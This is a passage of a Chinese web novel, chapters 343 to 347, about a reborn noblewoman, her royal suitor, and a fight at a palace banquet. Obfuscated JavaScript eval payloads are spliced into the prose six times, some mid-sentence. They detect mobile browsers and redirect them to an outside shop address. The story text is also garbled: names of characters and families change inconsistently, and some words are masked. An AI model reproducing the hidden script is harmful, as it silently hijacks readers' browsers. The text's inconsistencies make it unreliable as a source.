“你的性子,还是不够沉稳,行事也过于冲动,日后难免会惹出祸端。” 她顿了顿,继续说道:“从今天起,庄家的事,就全权交给游竹。你先跟着她,好好学学。” “等你什么时候能独当一面了,再回来见我。” 桂柔猛地抬头,眼中闪过一丝错愕和不解。 “主子……”她张了张嘴,似乎想要辩解什么。 晏清澜却抬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16644121|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手,阻止了她。 “下去吧,好好反省反省。” “夏竹那丫头,看着大大咧咧,可关键时刻,却从不含糊。你好好跟她学学。” “你看着冷静,可做事,总是不够周全。” 有些隐患,若是不及早发现,及早解决,日后,必成大患。 晏清澜神色淡淡的,语气却很坚决。 “记住,细节决定成败,莫要让小事,毁了大事。” 桂柔知道,晏清澜这是在给她机会,也是在敲打她。 她咬了咬唇,恭敬地磕了个头:“属下谨遵主子教诲,定不辜负主子期望。” 桂柔向来是个说到做到的人。 晏清澜微微颔首,示意她退下。 “去把夏竹叫来。”她又吩咐了一句。 桂柔应声,转身离去。 片刻后,夏竹走了进来,手里还拿着一些草药。 “姑娘,您找我?”她问。 晏清澜从桌上拿起一个药包,递给她。 “这是给尤玉的最后一副药,你找人送到镇西侯府,告诉他们,这副药吃完,她的病就能痊愈了。” 夏竹接过药包,小心翼翼地收好。 她有些疑惑地看向晏清澜,“姑娘,镇西侯府不是一直都跟澜王府穿一条裤子吗?您为何还要帮尤玉治病?” 晏清澜正在整理医书,听到这话,手中的动作微微一顿。 “这世上,哪有什么永远的敌人,又哪有什么永远的朋友?”她轻笑一声,语气中带着几分感慨。 夏竹眨了眨眼,有些不明白。 晏清澜将手中的医书合上,看向窗外。 “如今这局势,就像一锅煮沸的粥,谁也看不清里面到底都有些什么。” “秦家现在跟韩承煜或许还能算得上是盟友,可谁又能保证,他们日后不会反目成仇?” 皇上**一事,牵动了太多人的神经。 朝堂之上,暗流涌动,各方势力盘根错节,谁也不知道下一刻会发生什么。 皇上借着这个机会,排除异己,朝中不少官员都因此遭了殃。 那些平日里高高在上的王公贵族,如今也一个个如履薄冰,生怕行差踏错一步,便万劫不复。 除了八皇子,几乎所有的皇子,都受到了不同程度的牵连。 稍微有点脑子的,都能看出皇上的心思。 是及时抽身,还是孤注一掷,全看个人的选择。 第三百四十三章 “自古以来,但凡与夺嫡沾边的事,都是一场豪赌。” 晏清澜的声音很轻,仿佛在自言自语。 “赌赢了,便是泼天的富贵,一人之下,万人之上;赌输了,便是抄家灭族,身首异处。” “多少世家大族,因此一朝覆灭;又有多少寒门子弟,因此平步青云。” “不过是,各凭本事,各安天命罢了。” 夏竹听得云里雾里,却也点了点头。 “姑娘说的是。”她应道。 “对了,”她像是突然想起了什么,又开口说道,“奴婢听说,尤玉和晏玥玥,可是死对头。” “以前尤玉身体不好,没力气跟晏玥玥斗,如今她病好了,晏玥玥怕是要倒霉了。” 夏竹语气中带着几分幸灾乐祸。 她和晏玥玥之间,可没什么情分可言。 晏玥玥落难,她当然求之不得。 晏清澜笑了笑,没有接话。 世人都以为,尤玉心狠手辣,睚眦必报,而晏玥玥则相对“良善”。 可事实,真的如此吗? “尤玉与晏玥玥不和,也不是一天两天的事了。” 晏清澜缓缓开口,语气中带着几分玩味,“早在她们都还没喜欢上同一个男人,我也还未去临川之前,她们便已势同水火。” “可尤玉的病,也不是一天两天就能治好的。” “早在三年之前,秦家就曾为了尤玉的病,四处寻医问药。” 她顿了顿,语气中多了几分深意。 “我还听说,秦家曾多次派人去柳家,想要求购酆明川手中的那块玉佩。甚至不惜重金,许以高官厚禄。” 可结果呢? 柳家拒绝了。 不仅拒绝了,还对秦家多有提防。 而秦家,却并未因此记恨柳家,更没有仗势欺人。 “他们从未强求,更没有为难过柳家分毫。” 晏清澜看着夏竹,一字一句地说道。 反观庄家…… 她嘴角的笑容,带了几分嘲讽。 那个以“仁义”著称的庄家,又做了些什么呢?“庄家也配称仁厚?” 晏清澜嗤笑一声,指尖漫不经心地在桌面上画着圈。 “柳家满门,哪个不是丧命在他们手里?当真可笑。” 夏竹垂首,细细思量着晏清澜的话。她明白,自家姑娘是在提点她,看人看事,万不能只看表面。 半晌,夏竹抬起头,眉宇间笼上一层忧虑。 “姑娘,”她记起另一件事,“再过两日,便是宫中的赏梅宴了。” 她咬了咬唇,声音里带上了几分担忧,“您定是要去的。只是……奴婢担心钱雅芝那女人不安好心,她惯会使些阴私手段,您可千万小心。” 夏竹还记得,自己最初在晏老夫人房中伺候时,年纪尚小,最爱与人咬耳朵,说些闲话。 大人们的那些隐秘,她听得迷迷糊糊,却也记下了些许。 比如,钱雅芝如何不声不响地逼**府中的姨娘;又如何暗中下手,让有了身子的妾室一尸两命。 这些虽说是下人间传的闲话,可空穴来风,未必无因。 钱雅芝,绝非善类。 更何况,从前钱雅芝是如何磋磨晏清澜的,夏竹不敢忘,也不能忘。 是以,她从不惮以最大的恶意去揣度钱雅芝。 晏清澜微微颔首,只“嗯”了一声。 她岂会不知,上辈子赏梅宴上发生过何事。 这辈子,她倒想瞧瞧,故人是否还会重施故技。 也想瞧瞧,有些人,是否还会如前世那般,甘为他人手中刀,任人摆布。 见晏清澜心中有数,夏竹稍稍宽了心。 自家姑娘有了防备,那些跳梁小丑便不足为惧。 打发夏竹出去后,晏清澜独自留在房内,着手整理医书。 指尖划过书页,发出轻微的声响。 不过片刻,房内便多了一丝旁人的气息。 童玄珏无声无息地出现在她身侧,垂眸看着她,唇角微弯,“你还有多少事瞒着本王?” 晏清澜抬眼,似笑非笑地看他,“怎么,燕王殿下今日很闲?” 她放下医书,双手托腮,好整以暇地看着他,“大早上才在陆家碰过面,这才过了多久,您又寻过来了。” “莫非……这便是传说中的一日不见如隔三秋?” 童玄珏也不恼,只是轻轻拈起她的一缕青丝,绕在指尖把玩。 他眼中带着一丝戏谑,“怎么,本王来得勤了,你倒嫌烦了?” 晏清澜叹了口气,转过头,目光与他对视。 “倒也不是嫌烦,只是……”她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16648161|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斟酌着字句,“只是觉得您未免太过清闲,我怕耽误了您的正事。” 童玄珏顺势将她揽入怀中,在她耳畔低语,声音低沉而沙哑,“无妨,本王再忙,也能抽出时间来见你。” 晏清澜只觉耳根一热,他的气息拂过,带来一阵酥麻。 她下意识地伸手去抓他的衣裳,稳住心神,嗔道:“油嘴滑舌。” 童玄珏低笑一声,带着几分无奈,“也是没法子,谁让有的人,哪怕闲着也不会主动来寻我。” “山不就我,我便去就山。我想见你,你却不来,那我只能自己寻来了。” 晏清澜轻咳一声,想要辩解,“谁说我不主动了……我那是……” 她磕磕巴巴,半晌也没说出个所以然。 她也是第一次动心,习惯了童玄珏的主动,竟忘了自己也该主动些。 “好了,”童玄珏轻抚她的背,像是在安抚一只炸毛的小猫,“你若得空,不必特意来寻我,但……”他语气一顿,变得郑重,“你要想我。” 不必寻他,但要想他。 晏清澜细细琢磨着这句话,眉梢微挑,唇角绽开一抹笑意。 她抬眸,望着他,声音里带着一丝甜,“我喜欢你,见不着的时候,自然是想你的。” 当然,偶尔也会觉得他烦。 但这话,她是万万不会说的。 时而觉得他烦不胜烦,时而又觉得,他是这世上最好的人。 这便是动心的滋味罢。 童玄珏看着她,眼神温柔得能滴出水来。 即便她不说,他也能从她的神情中,读出她心中所想。 他伸手,轻轻捧起她的脸,在她唇上印下一吻,温柔而缠绵。 晏清澜只觉一阵晕眩,他的气息将她包裹,让她无处可逃。 她下意识地想要躲闪。 童玄珏却不给她这个机会,加深了这个吻,像是攻城略地,又像是宣告**。 直到她快要喘不过气来,他才缓缓松开她,转而握住她的手,与她十指相扣。 他尴尬地扯了扯嘴角,“赐婚的旨意是下了,可你……何时才肯真正嫁我?” 晏清澜垂眸,看着两人交握的手,唇边笑意渐浓。 “那便要看……燕王殿下的本事了。” 若非遇到童玄珏,她或许从未想过成亲。 第三百四十四章 于她而言,嫁与不嫁,并无不同。 她之所以应允,并非突然想通,亦非想要寻个归宿。 只是因为,那个人是他。 所以,成亲这件事,也并非不可接受。 童玄珏何尝不是如此。 遇到晏清澜之前,他也曾扬言,此生绝不娶妻。 如今想来,当真是…… “想什么呢?”晏清澜见他出神,忍不住伸手戳了戳他的手背。 她突然想起一事,语气一转,带着几分“兴师问罪”的意味,“说起来,当时在陆家不好开口,眼下,我倒要好好问问燕王殿下。” 童玄珏挑眉,故作严肃,“哦?你要问本王何事?若说不出个一二三来,本王可是要罚的。” 晏清澜直接抬手拧住他腰间软肉,那双含情目微微眯起,带着几分审视,“先前我让你知会我爹娘一声,好让他们安心,你倒好,竟是只字未提,害他们白白担心。” 说到这里,她又补充,“我原本昨日就想问了,只是那时……” 她本想说,那时两人同乘马车,她见他为了与她一同归家而紧张,便没好意思开口。 但话到嘴边,又咽了回去。 童玄珏却是瞬间明白了她的未尽之意,他握紧了她的手,语气认真,“我之所以未曾立刻告知,是想看看,当你身陷囹圄,陆家会如何做。” “我想知道,他们是否值得你这些年来的真心相待。” “一个庄家,已是足够。我不愿再看到第二个庄家,伤你的心。” 晏清澜听罢,反倒笑了起来。 她依偎进他怀里,轻声道:“那你如今……可有定论了?” 童玄珏轻哼一声,带着几分傲娇,“勉强……还算过得去。” 镇国大将军府为她奔走,第一时间便表明态度,视她为陆家骨血,已是难得。 “至于苏府其他人……”童玄珏顿了顿,“晏芸清会请托何默为你周旋,倒是出乎我的意料。” “你武母虽年迈,能为你做的有限,却也愿倾尽所有,助你脱困。” “如此看来,庄家倒也并非全然无药可救。” 晏清澜紧紧抱着他,声音轻柔而坚定,“我爹娘、姐姐,还有武母,他们待我如何,我心中有数。” “我亦知晓,他们……与晏明远那等狼心狗肺之徒,全然不同。” 她并非一无所有,她有家人,有他。秋日的阳光透过云层,洒下斑驳的光影,宫中的景致,比之外头,更多了几分庄重与华贵。 今儿是赏梅宴,但凡有品级在身的大臣,都携了家眷入宫。 菊园里,衣香鬓影,热闹非凡。年轻的姑娘们寻了自己的手帕交,聚在一处,说着体己话儿,时不时发出银铃般的笑声。 一群贵妇,便在别处扎堆,谈论着汴京城里头的新鲜事,言语间,尽是各家的家长里短。 “快看,那位就是长乐郡主,如今可是风头正盛,谁人能及?” 一位身着绛紫色褙子的方脸夫人,用帕子掩着嘴,斜睨着远处正与宋溪溪、三公主说笑的晏清澜,压低了声音对身旁的好友说道。 她那位好友顺着她的目光看去,轻轻点了点头,眼神中闪过一丝了然。 她不动声色地靠近了些,用只有两人才能听到的声音说道:“姐姐这话可得小心些,如今她可是陆家的人,皇上亲封的长乐郡主,身份尊贵着呢。” “至于庄家嘛……”她意味深长地笑了笑,没有继续说下去,但其中的轻蔑和嘲讽,却是不言而喻。 方脸夫人闻言,脸上的笑意更浓了,用帕子掩着嘴,咯咯地笑了起来:“妹妹说的是,我倒是忘了这一茬。长乐郡主如今和庄家可没什么关系了,庄家啊,现在就是整个汴京城的笑话!” “尤其是钱雅芝和晏明远,简直成了过街老鼠,人人喊打。往后出门,可有得他们受的了!”她幸灾乐祸地说道,仿佛已经看到了庄家落魄的景象。 一旁,平日里与钱雅芝素来不睦的蓝衣夫人,将两人的对话听了个正着,嘴角勾起一抹嘲讽的弧度。 她扭着腰肢走上前来,故意扬高了声调:“可不是嘛,要我说,庄家落得如此下场,纯属咎由自取!对了,你们听说前几日的那桩丑事儿了没?” “哦?什么丑事儿,快说来听听!”方脸夫人和她的好友立刻来了精神,催促道。 “还能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16648162|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是什么?自然是长乐郡主那位‘好’生父,钱雅芝那‘贤良’夫君的‘光辉事迹’呗!”蓝衣夫人一脸嫌弃,语气中满是鄙夷。 她故意卖了个关子,顿了顿,才慢悠悠地说道:“听说前几日,晏明远在澜王府门口,跪了足足一个时辰呢!” “说是冲撞了燕王殿下,被罚的。啧啧啧,那场面,可真是‘壮观’!”蓝衣夫人夸张地比划着,脸上的表情要多嫌弃有多嫌弃。 “你说这事儿也真够巧的,早不冲撞,晚不冲撞,谁料圣上刚赐婚就遇上这档子事,”她意味深长地笑了笑,“这里头要是没点儿什么,谁信啊?” 那圆脸夫人听了,先是一愣,随即像是想到了什么,一拍巴掌,恍然大悟道:“我知道了!看来燕王殿下对这门亲事很不爽,故意借着这个由头,敲打庄家,给长乐郡主没脸呢!” 她这话一出,蓝衣夫人和方脸夫人都愣住了,随即爆发出一阵大笑。 “哎呦喂,我的好姐姐,您这脑子是怎么长的?这都哪儿跟哪儿啊!”蓝衣夫人笑得前仰后合,指着圆脸夫人,打趣道。 圆脸夫人的好友也忍不住扶额,一脸无奈地看着她。 “我说姐姐,您可真行!这也能想岔了?”蓝衣夫人好不容易止住了笑,擦了擦眼角笑出来的泪花,说道,“真要给长乐郡主没脸,那也该冲着厉将军去啊!您也不想想,长乐郡主现在可是陆家人!” “再说了,我可听我家老爷说了,今儿早朝的时候,燕王殿下对厉将军那叫一个和颜悦色,客气得不得了!就差没把厉将军当祖宗供起来了!” “我家老爷还说呢,他活了这么大岁数,头一回见燕王殿下对谁这么好脾气!” 蓝衣夫人说着,目光在圆脸夫人身上转了转,等着她反应过来。 圆脸夫人被她这么一说,也觉得自己刚才的想法有些离谱,脸上顿时露出尴尬的神色,讪讪地笑了笑,嘴硬道:“我……我这不是一时没反应过来嘛!再说了,谁能想到那阎王爷似的燕王,也会有转性的一天?” 她这话,倒是说出了不少人的心声。 谁能想到,那个冷酷无情、杀伐果断的燕王,竟然会对一个女子如此上心? 第三百四十五章 另一边,一群平日里游手好闲的公子哥们,也正聚在一起,谈论着此事。 “嘿,你们听说了吗?燕王殿下竟然为了长乐郡主,罚晏明远在王府门口跪了一个时辰!”一个身穿宝蓝色锦袍的公子哥,摇着折扇,故作神秘地说道。 “这有什么稀奇的?长乐郡主那可是咱们汴京城里数一数二的美人儿,燕王殿下为她出头,不是很正常吗?”另一个公子哥不以为然地说道。 “话可不能这么说,这事儿要是放在别人身上,那或许还算正常,可放在燕王殿下身上,那可就太不正常了!”先前说话的公子哥反驳道。 “你们想想,燕王殿下是什么人?那可是个**不眨眼的血判官!他什么时候对哪个女子这么上心过?” “要我说啊,燕王殿下这回,怕是真的动了真情了!” “切,动真情又如何?还不是娶了个破鞋?”一个声音突兀地插了进来,语气中满是不屑和鄙夷。 众人循声望去,只见一个身穿松绿色圆领长袍,皮肤黝黑的公子哥,正一脸阴沉地站在那里。 此人名叫莫峥,仗着家世,平日里在汴京城里横行霸道,没少干欺男霸女的勾当。 “莫峥,你这话是什么意思?”一个与莫峥素来不和的公子哥,皱着眉头问道。 “什么意思?你们自己心里清楚!”莫峥冷哼一声,目光在众人身上扫过,“别以为我不知道你们心里在想什么,不就是觉得长乐郡主长得漂亮,想巴结她吗?” “我告诉你们,别做梦了!她现在可是燕王殿下的人,你们谁要是敢打她的主意,小心自己的脑袋!” 他说着,语气越来越激动,甚至还带上了一丝威胁。 “莫峥,你少在这儿血口喷人!”一个公子哥听不下去了,怒斥道,“我们只是在谈论这件事,可没你说的那种龌龊心思!” “是吗?”莫峥冷笑一声,目光落在了不远处的杨澜身上,“杨澜,你敢说你对长乐郡主没有非分之想?” 杨澜一直站在一旁,静静地听着他们的谈话,没有插嘴。 此刻,听到莫峥点名道姓地质问自己,他缓缓抬起头,目光平静地看着莫峥。 “我有没有非分之想,与你何干?”杨澜淡淡地说道,“倒是你,莫峥,我劝你还是收敛些,这里是皇宫,不是你卢家,容不得你胡言乱语。” “杨澜,你少在这儿装清高!”莫峥见杨澜不接自己的茬,更加恼羞成怒,“别以为我不知道你心里在想什么,你不就是喜欢晏清澜吗?” “怎么,敢做不敢当吗?” “我告诉你,晏清澜现在是燕王殿下的人,你最好**这条心!” 他这话一出,周围顿时响起了一阵窃窃私语声。 不少人都用异样的目光看着杨澜,似乎在等着看他的笑话。 杨澜的脸色微微一变,但很快就恢复了平静。 “莫峥,看来你是真的不想活了,”杨澜冷冷地看着莫峥,一字一顿地说道,“既然如此,那你就去跟燕王殿下解释吧。” 说完,他不再理会莫峥,转身离开了菊园。 莫峥被杨澜的话噎得脸色铁青,他看着杨澜离去的背影,眼中闪过一丝怨毒。 他原本只是想借着这个机会,羞辱杨澜一番,却没想到,反而被杨澜给将了一军。 他这话,看似是在质问杨澜,实际上,却是在将杨澜往火坑里推。 若是杨澜承认了自己喜欢晏清澜,那便是公然与燕王殿下作对,下场可想而知。 若是杨澜否认,那便坐实了他“敢做不敢当”的虚伪形象,同样会沦为笑柄。 更重要的是,他这句话,还暗含着挑拨离间之意。 他故意将杨澜对晏清澜的感情,与燕王殿下对晏清澜的感情对立起来,试图激化两人之间的矛盾。 不得不说,莫峥这一招,不可谓不阴险。“让杨澜当着童玄珏的面承认他喜欢我?” 清冷的声音如冰珠落玉盘,带着几分玩味,几分讥诮,突兀地在喧闹中响起。 晏清澜缓步而来。月白色长袄勾勒出她纤细却挺拔的身姿,丁香色马面裙上的织金纹路,随着她的步伐流转着低调奢华的光泽。 她一步步走近,精致的眉眼间,似有冰霜凝结。 “卢公子这玩笑,开得有点大了。” 声音轻飘飘的,却像一记无形的耳光,抽在每个心怀鬼胎的人脸上。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16656835|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她停下脚步,目光扫过噤若寒蝉的众人,最终落在了一脸青紫的莫峥身上。 “往小了说,这是玩笑。”她微微侧头,唇角勾起一抹似有若无的弧度,“往大了说,这就是红颜祸水,要、人、命、的。” 最后四个字,她咬得极轻,却如寒冰刺骨。 杨澜神情一凛,刚要开口解释,却听得“砰”的一声巨响。 众人循声望去,只见一个身影飞扑而出,直接将莫峥压倒在地,沙包大的拳头雨点般落下。 竟是晏子晏! 他双目赤红,死死压制住莫峥,拳拳到肉,毫不留情。 “姓卢的,你这张臭嘴,小爷我忍你很久了!”晏子晏咬牙切齿,每一个字都像是从牙缝里挤出来的,“平日里你放的那些狗屁,小爷我大**量,不跟你一般见识!可你千不该万不该,不该惹到我妹妹头上来!” 他猛地揪住莫峥的衣领,将他整个人提了起来,恶狠狠地盯着他:“今天小爷我就要替天行道,好好教训教训你这个满嘴喷粪的畜生!” “杨澜!”晏子晏突然转头,冲着一旁似乎还没反应过来的杨澜吼道,“你还在这发什么呆?没看到这孙子欠揍吗?给我一起上!” 这一变故,让原本还对杨澜指指点点的众人,顿时换上了一副恍然大悟的表情。 他们暗自交换着眼神,窃窃私语: “原来如此,我就说嘛,杨澜怎么会……” “可不是,庄家四公子出了名的护短,他妹妹受了委屈,他能不出头?” “这下有好戏看了,莫峥这回可算是踢到铁板了……” 杨澜心中暗暗松了口气,他知道,晏子晏这是在帮他,也是在保护晏清澜。 他感激地看了晏子晏一眼,随即换上了一副“焦急”的表情,上前“劝架”。 “哎呀,两位公子,这是做什么?快住手,快住手!”杨澜伸手去拉晏子晏的胳膊,却在不经意间,将莫峥的身体往晏子晏的拳头下送。 “庄兄,你冷静点!卢兄,你也别说了!大家都是朋友,有什么误会不能好好说呢?” 他一边“劝架”,一边“不小心”地将莫峥暴露在晏子晏的攻击范围内。 第三百四十六章 莫峥猝不及防,又挨了几下重的,顿时被打得眼冒金星,惨叫连连。 “哎呀,这可如何是好?这要是打出个好歹来,可怎么收场?”杨澜“焦急万分”,眉头紧锁,仿佛真的在为这场冲突而担忧。 可他越是这样,晏子晏就打得越狠。 莫峥被揍得鼻青脸肿,嘴角也渗出了血迹。 “哎哟,我的娘啊,姓韩的,你……你给小爷滚开!”莫峥痛得龇牙咧嘴,他算是看明白了,杨澜这哪是在劝架,分明是在帮晏子晏揍他! “卢兄,你别误会,我真的是在劝架啊!”杨澜一脸无辜,语气却更加“焦急”,“庄兄,你下手轻点,别打了,别打了,万一真打出个三长两短,惊动了旁人,那可就……” 他这话不说还好,一说,晏子晏的拳头反而更快更狠了。 周围那些原本还打算看热闹的人,此刻都忍不住在心里嘀咕:这位韩公子,可真是……“用心良苦”啊! “你再啰嗦,小爷连你一块打!”晏子晏怒吼一声,挥拳朝着杨澜砸去。 杨澜“哎呀”一声惊叫,连忙松开莫峥,向后退去。 他这一躲,原本应该打在他身上的拳头,就这么“巧合”地落在了莫峥的身上。 莫峥本就站立不稳,又没了杨澜的“搀扶”,顿时重心失衡,直接被这一拳打得向后飞了出去,重重地摔在了地上。 “哎呀,这……这可真是太不小心了!”杨澜一脸“懊恼”,连连摇头,“庄兄,你怎么能这么冲动呢?这下可闯祸了!” 如果不是他那微微上扬的嘴角,和眼底一闪而过的笑意,或许,大家就真的相信他只是“失手”了。 莫峥只觉得浑身的骨头都快散架了,他挣扎着想要爬起来,却怎么也使不上力气。 而就在这时,一阵嘈杂的脚步声传来,一群人正朝这边走来。 显然,这边的动静已经惊动了其他人。 走在最前面的,是几位衣着华贵的夫人,其中一位,正是莫峥的母亲莫夫人。 而晏玥玥和周雨柔,则跟在几位夫人身后。 周雨柔看到眼前的景象,吓得脸色苍白,惊呼一声:“天啊,这是怎么回事?!” 钱雅芝一眼就看到了躺在地上的莫峥,和站在一旁的晏子晏,脸色瞬间变得铁青。 她快步走到晏子晏面前,劈头盖脸就是一顿训斥:“晏子晏!你这个不孝子,又在外面惹是生非!” “我平日里是怎么教导你的?啊?你把我的话都当成耳旁风了吗?!” “这里是什么地方?是你能撒野的地方吗?你真是要把我的脸都丢尽了!” 她越说越气,指着晏子晏的手指都颤抖起来。 杨澜站在一旁,冷眼旁观,心中冷笑:这赵夫人,还真是一如既往的“护短”啊! 晏玥玥见钱雅芝动了真怒,连忙上前劝道:“娘,您先消消气,别气坏了身子。四哥他也不是故意的……” 她心里虽然也埋怨晏子晏,但毕竟是自己的哥哥,总不能眼睁睁看着他被责骂。 而且,她心里也清楚,晏子晏之所以会动手,多半是为了晏清澜。 虽然她不喜欢晏清澜,但她更不想让晏子晏为了一个外人,跟家里闹得不可开交。 “晏夫人,你儿子把我儿子打成这样,你必须给我一个说法!”莫夫人可不管那么多,她心疼儿子,此刻只想讨个公道。 “今天这事,要是没有一个合理的解释,我就去皇后娘娘那里告御状!我就不信,这天底下还没有说理的地方了!” 钱雅芝心中暗暗叫苦。 她也知道,这事要是闹大了,对谁都没好处。 可晏子晏这臭小子,就是不肯低头认错,让她下不来台。 她狠狠地瞪了晏子晏一眼,厉声道:“孽障!还不快给卢公子和莫夫人道歉!” 晏子晏冷冷地看着她,眼中没有丝毫的愧疚和悔意。 他已经不是当年那个任由钱雅芝摆布的小孩子了。 他有自己的判断,有自己的原则。 他可以为了家人忍气吞声,但他绝不会为了所谓的“面子”,向一个欺负他妹妹的人低头! “你……你这个死孩子,是想气死我吗?!”钱雅芝见晏子晏不为所动,气得浑身发抖,“我让你道歉,你听到了没有?!” 晏子晏依旧沉默不语,只是那眼神,却越来越冷。 钱雅芝正要发作,却突然听到身后传来一个清冷的声音: “晏夫人,好大的威风啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16656836|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 晏清澜不知何时,已经走到了人群外围。 她缓缓走上前,目光扫过众人,最后停留在钱雅芝身上。 “晏子晏是你儿子,你连事情的来龙去脉都不问清楚,就劈头盖脸一顿训斥,这就是你所谓的‘教导’?” “怎么,在你眼里,庄家四公子的尊严,就这么不值一提?还是说,在你心里,只要能攀附权贵,就可以随意践踏自己的亲人?” 她每说一句,钱雅芝的脸色就难看一分。 “你……”钱雅芝气得嘴唇哆嗦,却又不敢反驳。 因为她知道,自己一旦开口,就一定会说出更难听的话。 可周围的人,却已经开始窃窃私语,看向她的眼神,也变得古怪起来。 突然,人群中响起一阵整齐划一的行礼声: “参见郡主。” 所有人都跪了下去,向晏清澜行礼。 只有钱雅芝,还孤零零地站在那里,脸色一阵青一阵白,像是一个被遗忘的小丑。 直到这时,她才猛然惊醒,自己面对的,不再是那个可以任由她欺辱的病弱孤女,而是皇上亲封的长乐郡主! 她,必须向晏清澜行礼!“给郡主请安。” 钱雅芝的声音微微发颤,每一个字都像是从牙缝里挤出来的。她死死地掐着掌心,指尖泛白,却还是不得不低下头,向晏清澜行礼。 高台上,晏清澜垂眸看着她,精致的面容上依旧是那副冷冷淡淡的神情,只轻轻“嗯”了一声,连眼神都未曾多做停留,仿佛只是在应付一个无关紧要的奴仆。 四下里,窃窃私语声更甚。 一道道目光如针扎般刺在钱雅芝和晏清澜身上,探究、玩味、幸灾乐祸……种种情绪交织,几乎要将这凝滞的气氛点燃。 “这晏夫人,平日里不是挺厉害的么,怎么见了郡主,倒像老鼠见了猫似的?” “谁知道呢,兴许是心虚吧……” “嘘,小点声,仔细祸从口出!” 本是来看皇宫热闹的,谁成想庄家母女间的暗潮汹涌,竟比那宫闱秘闻还要精彩几分。 卢氏本想借题发挥,让钱雅芝下不来台,最好能逼着晏子晏当众赔礼道歉,好让她那宝贝儿子出口恶气。 第三百四十七章 可眼下,晏清澜明摆着是要护短,她就算再有十个胆子,也不敢跟这位新晋郡主叫板。 可就这么算了? 她儿子岂不是白挨打了? 卢氏暗自咬牙,正犹豫着该如何开口,却听晏清澜淡淡道: “行了,都别在这儿杵着了,跟本郡主说说,这到底是怎么回事。” 她语气虽淡,却带着不容置喙的威严。 莫峥只觉得一股寒意从脚底直冲头顶,激得他浑身一个激灵。 他那些小肚鸡肠,哪敢在晏清澜面前卖弄? 别说得罪了童玄珏,就是晏清澜本人,动动手指头就能让他吃不了兜着走。 更何况,晏清澜可不是那种由着人糊弄的傻白甜。她要是真发起狠来…… 莫峥打了个寒颤,双腿一软,“扑通”一声跪倒在地。 “郡主明鉴!都是奴才的错!奴才嘴贱,胡说八道,惹恼了晏四公子,罪该万死!” 他一把鼻涕一把泪地哭诉着,那声音,真是闻者伤心,听者落泪。 “奴才该死!奴才混账!奴才不该听信那些流言蜚语,更不该口无遮拦,胡乱议论……晏四公子大**量,不跟奴才一般见识,奴才却不知好歹,还敢动手……奴才真是猪油蒙了心,求郡主责罚!” 他一边说,一边“咚咚咚”地磕头,额头都磕红了,却丝毫不敢停歇。 “夫人,您别怪晏四公子,都是奴才不好!您要罚就罚奴才吧,千万别伤了和气……” 莫峥抱着卢氏的大腿,哭得那叫一个肝肠寸断,不知道的,还以为他受了多大的委屈呢。 这峰回路转的一幕,让在场的人都看傻了眼。 晏子晏也愣住了,他张了张嘴,却发现自己竟无言以对。 这莫峥……也太能屈能伸了吧? 前一刻还恨不得扑上来咬他一口,现在就…… “这卢家公子,还真是个‘人物’啊……” “可不是,这变脸的功夫,不去唱戏都可惜了。” “你们说,他这是演的哪一出啊?” “谁知道呢,不过……这下有好戏看了……” 人群中,钱雅芝的脸色一阵红一阵白,难看到了极点。 莫峥这番话,看似在认错,实则句句都在往她心窝子上捅刀子。 什么“流言蜚语”? 什么“胡乱议论”? 还不是在说庄家最近那些破事儿! 真假千金、退婚风波……哪一件不是让庄家颜面扫地? 而这一切,还不都是拜那个逆女所赐! 钱雅芝的目光死死地盯着晏清澜,恨不得将她生吞活剥了。 